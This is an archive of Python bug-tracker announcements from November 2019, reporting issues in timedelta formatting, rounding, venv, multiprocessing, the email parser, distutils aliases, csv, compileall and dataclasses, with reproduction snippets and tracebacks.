Message-ID: <1572966896.92.0.264576167113.issue38700@roundup.psfhosted.org>


New submission from Arunkumar Mani <aruntonic at gmail.com>:

at various places in the docs for unittest mock[https://docs.python.org/3.7/library/unittest.mock.html#magic-mock], assert is wriiten as assret

----------
assignee: docs at python
components: Documentation
messages: 356039
nosy: Arunkumar Mani, docs at python
priority: normal
severity: normal
status: open
title: typo in unittest mock docs
type: behavior
versions: Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38700>
_______________________________________

From report at bugs.python.org  Tue Nov  5 10:48:39 2019
From: report at bugs.python.org (Serge Matveenko)
Date: Tue, 05 Nov 2019 15:48:39 +0000
Subject: [New-bugs-announce] [issue38701] datetime.timedelta string
 representation is ambiguous
Message-ID: <1572968919.3.0.316665305196.issue38701@roundup.psfhosted.org>


New submission from Serge Matveenko <serge at matveenko.ru>:

Negative `timedelta` string representation is ambiguous.

```
>>> from datetime import datetime, timedelta
>>> d2 = datetime.now()
>>> d1 = d2 - timedelta(days=42, seconds=5)
>>> str(d2 - d1)
'42 days, 0:00:05'
>>> str(d1 - d2)
'-43 days, 23:59:55'
```

I would expect `str(d1 - d2)` to be one of the following:
* '-42 days, 0:00:05'
* '-(42 days, 0:00:05)'
* '- 42 days, 0:00:05'

----------
components: Library (Lib)
messages: 356041
nosy: lig
priority: normal
severity: normal
status: open
title: datetime.timedelta string representation is ambiguous
type: behavior
versions: Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38701>
_______________________________________

From report at bugs.python.org  Tue Nov  5 13:17:06 2019
From: report at bugs.python.org (Julin)
Date: Tue, 05 Nov 2019 18:17:06 +0000
Subject: [New-bugs-announce] [issue38702] Adding new types to
 parser/unparse.py
Message-ID: <1572977826.42.0.982480683243.issue38702@roundup.psfhosted.org>


New submission from Julin <julinshaji02 at gmail.com>:

The parser/unparse.py file lacks functions to handle the `Str`, `Num`, `Bytes` and `NameConstant` types.

Can we add them since it seems to be simple enough?

----------
components: Demos and Tools
messages: 356050
nosy: ju-sh
priority: normal
severity: normal
status: open
title: Adding new types to parser/unparse.py
type: enhancement
versions: Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38702>
_______________________________________

From report at bugs.python.org  Tue Nov  5 14:53:04 2019
From: report at bugs.python.org (Yudong Liu)
Date: Tue, 05 Nov 2019 19:53:04 +0000
Subject: [New-bugs-announce] [issue38703] should we expect round(0.95,
 1) to be 1.0, instead of 0.9?
Message-ID: <1572983584.27.0.706501027569.issue38703@roundup.psfhosted.org>


New submission from Yudong Liu <michael_chnc at hotmail.com>:

Python 3.7.0 (default, Aug 22 2018, 20:50:05) 
[GCC 5.4.0 20160609] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> round(0.95,1)
0.9
>>> round(0.95)
1
>>> round(0.96,1)
1.0

----------
components: Library (Lib)
messages: 356054
nosy: yudongliu
priority: normal
severity: normal
status: open
title: should we expect round(0.95,1) to be 1.0, instead of 0.9?
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38703>
_______________________________________

From report at bugs.python.org  Tue Nov  5 14:54:38 2019
From: report at bugs.python.org (Arseniy)
Date: Tue, 05 Nov 2019 19:54:38 +0000
Subject: [New-bugs-announce] [issue38704] No `GetActiveProcessorCount` on
 Windows Vista
Message-ID: <1572983678.12.0.905160936522.issue38704@roundup.psfhosted.org>


New submission from Arseniy <senyai at gmail.com>:

This[https://www.python.org/downloads/windows/] page says "Note that Python 3.8.0 cannot be used on Windows XP or earlier.". I tried to install it on Windows Vista and got a message that `GetActiveProcessorCount` is missing from `KERNEL32.DLL`. This message appears when running python.exe.
I don't think anyone besides me cares about Vista, so I'd change the text to: "Note that Python 3.8.0 requires Windows 7 or later". It's more positive this way ;)

----------
messages: 356055
nosy: senyai
priority: normal
severity: normal
status: open
title: No `GetActiveProcessorCount` on Windows Vista
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38704>
_______________________________________

From report at bugs.python.org  Tue Nov  5 15:58:06 2019
From: report at bugs.python.org (Den Delimarsky)
Date: Tue, 05 Nov 2019 20:58:06 +0000
Subject: [New-bugs-announce] [issue38705] venv creation on macOS Catalina is
 failing
Message-ID: <1572987486.08.0.312821972581.issue38705@roundup.psfhosted.org>


New submission from Den Delimarsky <me at den.dev>:

I have a project, where I am working inside a virtual environment (on macOS Catalina). Inside said project, I am attempting to create a new virtual environment with:

venv.create(virtual_environment_directory, with_pip=True)

This, however, errors out:

  File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.7/lib/python3.7/runpy.py", line 193, in _run_module_as_main
    "__main__", mod_spec)
  File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.7/lib/python3.7/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/Users/user1/Documents/repos/adg/src/adg/__main__.py", line 35, in <module>
    CommandProcessor.validate(args, current_os)
  File "/Users/user1/Documents/repos/adg/src/adg/helpers/commandprocessor.py", line 21, in validate
    LibraryProcessor.process_libraries(command.library, command.platform, command.out)
  File "/Users/user1/Documents/repos/adg/src/adg/helpers/coreutil.py", line 79, in process_libraries
    LibraryInstaller.create_environment()
  File "/Users/user1/Documents/repos/adg/src/adg/helpers/coreutil.py", line 40, in create_environment
    venv.create(virtual_environment_directory, with_pip=True)
  File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.7/lib/python3.7/venv/__init__.py", line 363, in create
    builder.create(env_dir)
  File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.7/lib/python3.7/venv/__init__.py", line 68, in create
    self._setup_pip(context)
  File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.7/lib/python3.7/venv/__init__.py", line 261, in _setup_pip
    subprocess.check_output(cmd, stderr=subprocess.STDOUT)
  File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.7/lib/python3.7/subprocess.py", line 395, in check_output
    **kwargs).stdout
  File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.7/lib/python3.7/subprocess.py", line 487, in run
    output=stdout, stderr=stderr)
subprocess.CalledProcessError: Command '['/Users/user1/Documents//repos/adg/src/dtemp/bin/python3', '-Im', 'ensurepip', '--upgrade', '--default-pip']' died with <Signals.SIGABRT: 6>.

Seems like attempting to run this both from inside and outside the virtual environment results in the error.

----------
components: macOS
messages: 356061
nosy: dend, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: venv creation on macOS Catalina is failing
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38705>
_______________________________________

From report at bugs.python.org  Tue Nov  5 16:16:19 2019
From: report at bugs.python.org (Mikeli Karotsieri)
Date: Tue, 05 Nov 2019 21:16:19 +0000
Subject: [New-bugs-announce] [issue38706] What should the error message in
 the exception raised by assertTrue and assertFalse be?
Message-ID: <1572988579.06.0.00880287110043.issue38706@roundup.psfhosted.org>


New submission from Mikeli Karotsieri <michael.karotsieris at gmail.com>:

The error messages included in the exceptions raised when assertTrue and assertFalse fail are respectively:  

'False is not true' 
'True is not false '

This issue's goal is to find out if it would be more correct or/and beneficial for those messages to be: 

'False is not True' 
'True is not False'

As a side note, the suggested error message is syntactically correct Python. 

The assosciated file is Lib/unittest/case.py .

----------
components: Library (Lib)
messages: 356065
nosy: brandtbucher, mkarotsieris
priority: normal
pull_requests: 16573
severity: normal
status: open
title: What should the error message in the exception raised by assertTrue and assertFalse be?
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38706>
_______________________________________

From report at bugs.python.org  Tue Nov  5 17:39:46 2019
From: report at bugs.python.org (Jake Tesler)
Date: Tue, 05 Nov 2019 22:39:46 +0000
Subject: [New-bugs-announce] [issue38707] Multiprocessing: bug with Native
 ID for threading.mainthread()
Message-ID: <1572993586.01.0.941321705815.issue38707@roundup.psfhosted.org>


New submission from Jake Tesler <jake.tesler at gmail.com>:

I have encountered a minor bug with the new `threading.get_native_id()` featureset in Python 3.8. The bug occurs when creating a new multiprocessing.Process object on Unix (or on any platform where the multiprocessing start_method is 'fork' or 'forkserver').

When creating a new process via fork, the Native ID in the new MainThread is incorrect. The new forked process' threading.MainThread object inherits the Native ID from the parent process' MainThread instead of capturing/updating its own (new) Native ID.

See the following snippet:

>>> import threading, multiprocessing
>>> multiprocessing.set_start_method('fork') # or 'forkserver'
>>> def proc(): print(threading.get_native_id(), threading.main_thread().native_id) # get_native_id(), mainthread.native_id
>>> proc()
22605 22605 # get_native_id(), mainthread.native_id
>>> p = multiprocessing.Process(target=proc)
>>> p.start()
22648 22605 # get_native_id(), mainthread.native_id
>>>
>>> def update(): threading.main_thread()._set_native_id()
>>> def print_and_update(): proc(); update(); proc()
>>> print_and_update()
22605 22605 # get_native_id(), mainthread.native_id
22605 22605 
>>> p2=multiprocessing.Process(target=print_and_update); p2.start()
22724 22605 # get_native_id(), mainthread.native_id
22724 22724
>>> print_and_update()
22605 22605 # get_native_id(), mainthread.native_id
22605 22605

As you can see, the new Process object's MainThread.native_id attribute matches that of the MainThread of its parent process. 

Unfortunately, I'm not too familiar with the underlying mechanisms that Multiprocessing uses to create forked processes. 
I believe this behavior occurs because (AFAIK) a forked multiprocessing.Process copies the MainThread object from its parent process, rather than reinitializing a new one. Looking further into the multiprocessing code, it appears the right spot to fix this would be in the multiprocessing.Process.bootstrap() function. 

I've created a branch containing a working fix - I'm also open to suggestions of how a fix might otherwise be implemented. 
If it looks correct I'll create a PR against the CPython 3.8 branch. 

See the branch here: https://github.com/jaketesler/cpython/tree/fix-mp-native-id

Thanks all!
-Jake

----------
components: Library (Lib)
messages: 356070
nosy: jaketesler, vstinner
priority: normal
severity: normal
status: open
title: Multiprocessing: bug with Native ID for threading.mainthread()
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38707>
_______________________________________

From report at bugs.python.org  Tue Nov  5 17:48:04 2019
From: report at bugs.python.org (Dimitri John Ledkov)
Date: Tue, 05 Nov 2019 22:48:04 +0000
Subject: [New-bugs-announce] [issue38708] parse_message_id in email module
 is very buggy / crashy
Message-ID: <1572994084.54.0.352117032645.issue38708@roundup.psfhosted.org>


New submission from Dimitri John Ledkov <dimitri.ledkov at canonical.com>:

email module has recently got parse_message_id which is more strict now, then before.

However, it's not programmed as defensively as expected. Given bogus message-id, it crashes with unbound local variable, or like accessing a non-existing index.

So hyperkitty had a Message-ID "X"*260 in the testsuite that used to pass with 3.7, but fails with 3.8.

======================================================================
ERROR: test_long_message_id (hyperkitty.tests.lib.test_incoming.TestAddToList)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "./hyperkitty/tests/lib/test_incoming.py", line 295, in test_long_message_id
    msg["Message-ID"] = "X" * 260
  File "/usr/lib/python3.8/email/message.py", line 409, in __setitem__
    self._headers.append(self.policy.header_store_parse(name, val))
  File "/usr/lib/python3.8/email/policy.py", line 148, in header_store_parse
    return (name, self.header_factory(name, value))
  File "/usr/lib/python3.8/email/headerregistry.py", line 602, in __call__
    return self[name](name, value)
  File "/usr/lib/python3.8/email/headerregistry.py", line 197, in __new__
    cls.parse(value, kwds)
  File "/usr/lib/python3.8/email/headerregistry.py", line 530, in parse
    kwds['parse_tree'] = parse_tree = cls.value_parser(value)
  File "/usr/lib/python3.8/email/_header_value_parser.py", line 2116, in parse_message_id
    message_id.append(token)
UnboundLocalError: local variable 'token' referenced before assignment

Similarly another user, surkova reports that value[0] in get_msg_id function is buggy too (doesn't check that value has a member)

First reported https://github.com/python/cpython/pull/13397#discussion_r341968031

Ideally, I'd like the function to raise a documented Exception for invalid Message-id, but not fail with what look like regular programming bugs in the email module. Expectation is that email module is either more permissive or is coded more defence-in-depth with more checking in place.

----------
messages: 356072
nosy: xnox
priority: normal
severity: normal
status: open
title: parse_message_id in email module is very buggy / crashy
versions: Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38708>
_______________________________________

From report at bugs.python.org  Tue Nov  5 22:49:12 2019
From: report at bugs.python.org (Arno-Can Uestuensoez)
Date: Wed, 06 Nov 2019 03:49:12 +0000
Subject: [New-bugs-announce] [issue38709] distutils - setuptools - alias
 command removes comments from setup.cfg
Message-ID: <1573012152.1.0.450153006571.issue38709@roundup.psfhosted.org>


New submission from Arno-Can Uestuensoez <acue.opensource at gmail.com>:

The command 'alias' rewrites the configuration file completely when a new alias is added. The default file is 'setup.cfg'. All comments of the original file are stripped off before, though the new 'setup.cfg' does not contain any comments.

The comments should be kept literally, just the section '[aliases]' should be modified.

The comments in the section '[aliases]' should be basically kept, even though a manual modification by the user could cause problems e.g. in case of deleting an alias by the 'setup.py alias' command.

Anyhow, at least the only section modified should - must - be the '[aliases]' section.

Even though this involves 'setuptools', I write this issue here because of the tight coupling of 'distutils' and 'setuptools' e.g. by the passed 'self' parameter.

I have tested 3.8.0, but as far as I can see this is the case for all releases.

----------
components: Distutils
messages: 356088
nosy: acue, dstufft, eric.araujo
priority: normal
severity: normal
status: open
title: distutils - setuptools - alias command removes comments from setup.cfg
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38709>
_______________________________________

From report at bugs.python.org  Tue Nov  5 23:04:15 2019
From: report at bugs.python.org (=?utf-8?q?Manuel_Ignacio_P=C3=A9rez_Alcolea?=)
Date: Wed, 06 Nov 2019 04:04:15 +0000
Subject: [New-bugs-announce] [issue38710] unsynchronized write pointer in
 io.TextIOWrapper in 'r+' mode
Message-ID: <1573013055.2.0.421780617853.issue38710@roundup.psfhosted.org>


New submission from Manuel Ignacio P?rez Alcolea <perezalcoleam at gmail.com>:

There seems to be a bug in the `io.TextIOWrapper` class while working in 'r+' mode, although I can't say the source of the problem is right there.

The write pointer doesn't match `file.tell()` after performing a read operation.

For example, this file, consisting of 3 lines:

  line one
  line two
  line three

Doesn't result in the expected modification running the following program:

with open('file', 'r+', buffering=1) as f:
    print(f.tell())                  # => 0
    print(f.readline().strip())      # we read 1 line
    print(f.tell())                  # => 9  
    print('Hello', file=f)           # we write "Hello\n"
    print(f.tell())                  # => 34

Instad of

  line one
  Hello
  wo
  line three

It results in

  line one
  line two
  line threeHello

But it works just fine if `f.seek(f.tell())` is added the program, right before the write operation.

There are several possible explanations on StackOverflow, involving the buffering for IO in text files:

https://stackoverflow.com/a/58722058/11601118

----------
components: IO
messages: 356089
nosy: Manuel Ignacio P?rez Alcolea
priority: normal
severity: normal
status: open
title: unsynchronized write pointer in io.TextIOWrapper in 'r+' mode
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38710>
_______________________________________

From report at bugs.python.org  Wed Nov  6 00:02:37 2019
From: report at bugs.python.org (Arno-Can Uestuensoez)
Date: Wed, 06 Nov 2019 05:02:37 +0000
Subject: [New-bugs-announce] [issue38711] setup parameter 'distclass'
 ignored for configuration files
Message-ID: <1573016557.67.0.586139729549.issue38711@roundup.psfhosted.org>


New submission from Arno-Can Uestuensoez <acue.opensource at gmail.com>:

Even though this involves 'setuptools', I write this issue here because of the tight coupling of 'distutils' and 'setuptools' e.g. by the passed 'self' parameter.

The central API 'setup()' - 'setuptools.init.setup()' - provides the parameter 'distclass=<distribution-class>'. This allows to define a custom 'Distribution' class to be used as a replacement of the 'Distribution' class.

First of all for an ordinary user it is not clear whether 'distutils.dist.Distribution', and/or 'setuptools.dist.Distribution' is replaced. Even more confusing, the 'self' parameter is cross-passed between the classes by using a derived instance provided by:

   _Distribution = get_unpatched(distutils.core.Distribution)

The second is the integration of the initialization bootstrap, which completely ignores the user defined custom class. The main API 'setup()' defined in 'setuptools.init.setup()' calls first the local private function '_install_setup_requires' - 'setuptools.init._install_setup_requires()', which calls the instanciates the hardcoded 'distutils.core.Distribution()', and therein calls the methods 'dist.parse_config_files()', and 'dist.fetch_build_eggs()', which - as far as I can see - finally prohibits the use of a custom version of these, or easily add another one.

The consequence is that the configuration file parameters could basically not be fully customized by the custom class.

The association with the parameter 'distclass' for me - and I guess for others too - is that the 'complete' 'Distribution' class could be customized by this API. But this is currently not possible. So, even though I see the problems that can arise from the use of the modified 'self' parameter - I would propose the application of the 'distclass' for the initial bootstrap by the read of the configuration file too. In case this prooves too risky - due to 'distutils' coupling with 'setuptools', at least a parameter for the initial read of the configuration files should be offered.


The best of course would be the fusion of both parts, probably in a future release.

I have tested 3.8.0, but as far as I can see this is the case for all releases.

PS: I am writing now another issue for the 'alias' command and going add the number as an possible example for the required custom class.

----------
components: Distutils
messages: 356090
nosy: acue, dstufft, eric.araujo
priority: normal
severity: normal
status: open
title: setup parameter 'distclass' ignored for configuration files
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38711>
_______________________________________

From report at bugs.python.org  Wed Nov  6 00:08:46 2019
From: report at bugs.python.org (Benjamin Peterson)
Date: Wed, 06 Nov 2019 05:08:46 +0000
Subject: [New-bugs-announce] [issue38712] add signal.pidfd_send_signal
Message-ID: <1573016926.97.0.785552850869.issue38712@roundup.psfhosted.org>


New submission from Benjamin Peterson <benjamin at python.org>:

Add signal.pidfd_send_signal, which will wrap the Linux 5.1 syscall of the same name.

----------
components: Library (Lib)
messages: 356091
nosy: benjamin.peterson
priority: normal
severity: normal
status: open
title: add signal.pidfd_send_signal
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38712>
_______________________________________

From report at bugs.python.org  Wed Nov  6 00:21:11 2019
From: report at bugs.python.org (Benjamin Peterson)
Date: Wed, 06 Nov 2019 05:21:11 +0000
Subject: [New-bugs-announce] [issue38713] expose P_PIDFD
Message-ID: <1573017671.76.0.0466411119444.issue38713@roundup.psfhosted.org>


New submission from Benjamin Peterson <benjamin at python.org>:

On Linux 5.4, P_PIDFD allows using waitid with a pidfd.

----------
components: Library (Lib)
messages: 356092
nosy: benjamin.peterson, njs
priority: normal
severity: normal
status: open
title: expose P_PIDFD
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38713>
_______________________________________

From report at bugs.python.org  Wed Nov  6 00:33:35 2019
From: report at bugs.python.org (Arno-Can Uestuensoez)
Date: Wed, 06 Nov 2019 05:33:35 +0000
Subject: [New-bugs-announce] [issue38714] setup command alias erroneous for
 names with hyphens
Message-ID: <1573018415.75.0.591711986593.issue38714@roundup.psfhosted.org>


New submission from Arno-Can Uestuensoez <acue.opensource at gmail.com>:

Even though this involves 'setuptools', I write this issue here because of the tight coupling of 'distutils' and 'setuptools' e.g. by the passed 'self' parameter.

The aliases as represented by the command 'setup.py alias' are internally treated by 'setuptools' as options.

See code:

   setuptools.dist._parse_config_files()
   in Python-3.8.0:  line 604 - line 608

The consequence is the processing of the standard replacement of hyphens by underscores for alias names.

The resulting behaviour is here three folded.


1. The technical behaviour of the alias replacement for valid
   aliases id flawless.

2. The technical behaviour of the display representation for alias
   names containing a hyphen is erroneous.

   For example:

      python setup.py alias my-alias alias

   Results flawless in:

      [aliases]
      my-alias = alias

   The display:

      python setup.py alias

   is erroneous:

      (3.8.0)$ python setup.py alias
      running alias
      Command Aliases
      ---------------
      setup.py alias my_alias alias

   because the modified internal values are displayed - with replaced
   hyphens in alias names.


3. The call of the alias as command replacement is erroneous in general:

  3.0. the original call is flawless:

     (3.8.0)$ python setup.py alias

        running alias
        Command Aliases
        ---------------
        setup.py alias my_alias alias


  3.1. the call by defined literal alias is erroneous:

        (3.8.0)$ python setup.py my-alias

        invalid command name 'my-alias'

  3.2. the call by modified alias is also erroneous,
     as though the alias is not detected, resulting here in the
     display of an empty list:

        (3.8.0)$ python setup.py my_alias

        running alias
        Command Aliases
        ---------------


Another example to mention here is the acceptance of alias names including spaces, which prbably should be suppressed, because as far as I can see command name could not contain spaces at all.

E.g. the alias 'ls -l' is handeled erroneous in accordance to the previous remarks, but is basically not valid at all.

   (3.8.0)$ python setup.py 'ls -l' alias

Results in the flawless configuration entry:

   [aliases]
   ls -l = alias

The erroneous display:

    (3.8.0)$ python setup.py alias

    running alias
    Command Aliases
    ---------------
    setup.py alias ls _l alias

The behaviour should be fixed to be consistent to allow valid names and reject others. The accepted names should be fully functional, and displayed and made available for custom representation literally as provided by the user. A simple reverse-replacement is here not reliable.

The alternative of the caching of the original input is currently not possible for a simple public command API due to the lack of fully customization of the 'distclass' see issue Issue38711. Thus this seems currently to require a complete second scan including eventually selected user files as eventually selected by the provided call parameters.

----------
components: Distutils
messages: 356094
nosy: acue, dstufft, eric.araujo
priority: normal
severity: normal
status: open
title: setup command alias erroneous for names with hyphens
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38714>
_______________________________________

From report at bugs.python.org  Wed Nov  6 02:12:13 2019
From: report at bugs.python.org (hetman)
Date: Wed, 06 Nov 2019 07:12:13 +0000
Subject: [New-bugs-announce] [issue38715] Regression in compileall ddir
 parameter when recursing
Message-ID: <1573024333.47.0.536430294956.issue38715@roundup.psfhosted.org>


New submission from hetman <hetmankp at outlook.com>:

There appears to have been a regression introduced in the compileall library back with Python 3.5 as a result of commit f1a8df0ac98 .

The issues appears when compiling a hierarchy of directories with the 'ddir' parameter specified (either in the compile_dir() function or via the '-d' command line parameter).

Examining the code before the f1a8df0ac98 commit suggests the original intent for the 'ddir' parameter, when recursing into subdirectories, was to alter the root of the path displayed in exception traces. That means that the hierarchical directory structure of the reported source path in each compiled file was maintained, and only the root directory being compiled was replaced with ddir.

More recently two new parameters, 'stripdir' and 'prependdir', have been added with commit 8e7bb991de7 which seem to largely reimplement the missing behaviour in a different way.

The current behaviour does not seem very useful or expected. I think it would be helpful to restore the original behaviour and would be happy to contribute a PR to do so. Additionally it may be worth consulting the submitter of bpo-38112 whether the alternative arguments are still necessary once the regression is fixed, though this is optional and not needed to fix the core issue.



Here's a simple script to demonstrate the above:

mkdir -p library/a/a

cat <<'EOF' > library/__init__.py
def go():
  raise AssertionError('dummy')
EOF
cp library/__init__.py library/a/__init__.py
cp library/__init__.py library/a/a/__init__.py

python3 -m compileall -b -d /usr/lib library
rm library/**/*.py

python3 -c 'from library import go; go()'
python3 -c 'from library.a import go; go()'
python3 -c 'from library.a.a import go; go()'



And the resulting output which shows that each module is claiming to be raised from the same location:

Listing 'library'...
Compiling 'library/__init__.py'...
Listing 'library/a'...
Compiling 'library/a/__init__.py'...
Listing 'library/a/a'...
Compiling 'library/a/a/__init__.py'...

Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "/usr/lib/__init__.py", line 2, in go
AssertionError: dummy

Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "/usr/lib/__init__.py", line 2, in go
AssertionError: dummy

Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "/usr/lib/__init__.py", line 2, in go
AssertionError: dummy

----------
components: Library (Lib)
messages: 356102
nosy: hetman
priority: normal
severity: normal
status: open
title: Regression in compileall ddir parameter when recursing
type: behavior
versions: Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38715>
_______________________________________

From report at bugs.python.org  Wed Nov  6 04:35:12 2019
From: report at bugs.python.org (lorb)
Date: Wed, 06 Nov 2019 09:35:12 +0000
Subject: [New-bugs-announce] [issue38716] logging: rotating handlers set
 namer and rotator null
Message-ID: <1573032912.48.0.408728963846.issue38716@roundup.psfhosted.org>


New submission from lorb <ritzer.christoph at gmail.com>:

When subclassing the rotating handlers of the logging module and implementing a namer or rotator method they are silently set to None in __init__. This is surprising behaviour and currently the set a specific namer or rotator it is required to create an instance first and than set them.

----------
messages: 356107
nosy: lorb
priority: normal
severity: normal
status: open
title: logging: rotating handlers set namer and rotator null

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38716>
_______________________________________

From report at bugs.python.org  Wed Nov  6 05:04:48 2019
From: report at bugs.python.org (=?utf-8?q?Patrick_Schneewei=C3=9F?=)
Date: Wed, 06 Nov 2019 10:04:48 +0000
Subject: [New-bugs-announce] [issue38717] csv DictWriter's internal
 _dict_to_list raise error unsupported operand
Message-ID: <1573034688.04.0.163382933915.issue38717@roundup.psfhosted.org>


New submission from Patrick Schneewei? <afflictorx at gmail.com>:

I switched over to Python 3.7 and still using my csv DictWriter.

No I'm receiving an error when calling the writerow() method. 
unsupported operand type(s) for -: 'list' and 'list'

Digging deeped in the problem I found out, that the internal _dict_to_list(self, rowdict) method works different compared to Python 2.7
It tries to substract the fieldnames list and the keys of the dict to find keys not included.

But substracting lists is not possible. As a workaround I defined the Dictwriter with the option extrasaction="ignore".

I would be better to use the method like in Python 2.7. I will output my versions of the method:

Python 3.7:
    def _dict_to_list(self, rowdict):
        if self.extrasaction == "raise":
            wrong_fields = rowdict.keys() - self.fieldnames
            if wrong_fields:
                raise ValueError("dict contains fields not in fieldnames: "
                                 + ", ".join([repr(x) for x in wrong_fields]))
        return (rowdict.get(key, self.restval) for key in self.fieldnames)

Python 2.7:
    def _dict_to_list(self, rowdict):
        if self.extrasaction == "raise":
            wrong_fields = [k for k in rowdict if k not in self.fieldnames]
            if wrong_fields:
                raise ValueError("dict contains fields not in fieldnames: "
                                 + ", ".join([repr(x) for x in wrong_fields]))
        return [rowdict.get(key, self.restval) for key in self.fieldnames]

----------
components: Library (Lib)
messages: 356110
nosy: afflictor
priority: normal
severity: normal
status: open
title: csv DictWriter's internal _dict_to_list raise error unsupported operand
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38717>
_______________________________________

From report at bugs.python.org  Wed Nov  6 07:07:59 2019
From: report at bugs.python.org (Arno-Can Uestuensoez)
Date: Wed, 06 Nov 2019 12:07:59 +0000
Subject: [New-bugs-announce] [issue38718] query of global options delivers
 error messages even when successful
Message-ID: <1573042079.22.0.765143606638.issue38718@roundup.psfhosted.org>


New submission from Arno-Can Uestuensoez <acue.opensource at gmail.com>:

The 'setup.py' interface offers some global options, which could be queried. For example among numerous others the 'classifiers'.

The current implementation displays for example for the following call::

   python setup.py --description

The result::

  (3.8.0) $ python setup.py --description
   <description-text>
   usage: setup.py [global_opts] cmd1 [cmd1_opts] [cmd2 [cmd2_opts] ...]
      or: setup.py --help [cmd1 cmd2 ...]
      or: setup.py --help-commands
      or: setup.py cmd --help

   error: no commands supplied
   (3.8.0) $ echo $?
   1
   (3.8.0) $


I would like to propose some minor enhancements here.

1. The error message is here an error itself, because the
   query was flawless successful.

   This is due to the implementation by relying on an
   exception for the termination condition, when no
   command was given. This is for the global query options
   for the global metadata perfectly allright.

   Thus the error message must not occur.

2. The resulting exit code of '1' is due to the same execption
   for the missing command.

   Thus the exit code must be '0' on Posix based and alike
   systems.

3. The usage message, which is also based on a private method,
   is basically an error itself. This is due to the fact, that
   actually nothing has failed.

   Thus the usage message must not be displayed here.

4. I also would like to propose some layout enhancements at
   this occasion.

   The  value of the queried attribute - here the description,
   should be separated by a <CR>.
   E.g. by 'USAGE', or 'global_+usage()' within 'distutils.core'.

   The resulting layout and exit value  would be:

      (3.8.0) $ python setup.py --description

      <description-text>

      (3.8.0) $ echo $?
      0
      (3.8.0) $

----------
components: Distutils
messages: 356122
nosy: acue, dstufft, eric.araujo
priority: normal
severity: normal
status: open
title: query of global options delivers error messages even when successful
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38718>
_______________________________________

From report at bugs.python.org  Wed Nov  6 07:50:00 2019
From: report at bugs.python.org (Aaron Ecay)
Date: Wed, 06 Nov 2019 12:50:00 +0000
Subject: [New-bugs-announce] [issue38719] Surprising and possibly incorrect
 passing of InitVar to __post_init__ method of data classes
Message-ID: <1573044600.53.0.155776883054.issue38719@roundup.psfhosted.org>


New submission from Aaron Ecay <aaronecay at gmail.com>:

I have discovered that InitVar's are passed in a surprising way to the __post_init__ method of python dataclasses.  The following program illustrates the problem:

=====

from dataclasses import InitVar, dataclass

@dataclass
class Foo:
    bar: InitVar[str]
    quux: InitVar[str]

    def __post_init__(self, quux: str, bar: str) -> None:
        print(f"bar is {bar}; quux is {quux}")

Foo(bar="a", quux="b")

=====

The output (on python 3.7.3 and 3.8.0a3) is (incorrectly):

bar is b; quux is a

This behavior seems like a bug to me, do you agree?

I have not looked into the reason why it behaves this way, but I suspect that the InitVar args are passed positionally, rather than as key words, to __post_init__.  This requires the order of arguments in the definition of __post_init__ to be identical to the order in which they are specified in the class.  I would expect the arguments to be passed as keywords instead, which would remove the ordering dependency.  If there is agreement that the current behavior is undesirable, I can look into creating a patch to change it.

----------
components: Library (Lib)
messages: 356125
nosy: Aaron Ecay
priority: normal
severity: normal
status: open
title: Surprising and possibly incorrect passing of InitVar to __post_init__ method of data classes
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38719>
_______________________________________

From report at bugs.python.org  Wed Nov  6 10:10:27 2019
From: report at bugs.python.org (xtobes)
Date: Wed, 06 Nov 2019 15:10:27 +0000
